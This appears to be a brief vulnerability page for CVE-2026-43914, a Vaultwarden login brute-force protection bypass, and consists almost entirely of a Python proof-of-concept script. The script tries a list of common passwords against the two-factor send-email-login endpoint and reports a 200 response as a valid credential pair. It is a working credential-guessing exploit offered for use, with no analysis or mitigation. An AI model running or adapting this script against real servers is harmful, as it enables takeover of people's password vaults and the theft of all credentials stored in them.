CVE-2026-43914 Vaultwarden 登录暴力破解保护绕过漏洞

import requests # Target URL (Replace with actual target) target_url = "https://example.com/api/two-factor/send-email-login" # User credentials to test username = "[email protected]" password_list = ["password123", "admin", "123456", "letmein"] headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } print(f"[*] Starting brute force test against {target_url}") for password in password_list: payload = { "email": username, "password": password, "masterPasswordHash": password # Depending on specific API implementation } try: response = requests.post(target_url, json=payload, headers=headers, timeout=5) # Analysis: If the endpoint returns 200 OK, it usually means credentials are valid # and the system attempted to send an email. # If credentials are invalid, it typically returns 400 Bad Request or 401 Unauthorized. if response.status_code == 200: print(f"[+] Potential valid credentials found: {username} / {password}") # In a real scenario, stop here or log success break else: print(f"[-] Failed: {username} / {password} (Status: {response.status_code})") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") print("[*] Test completed.")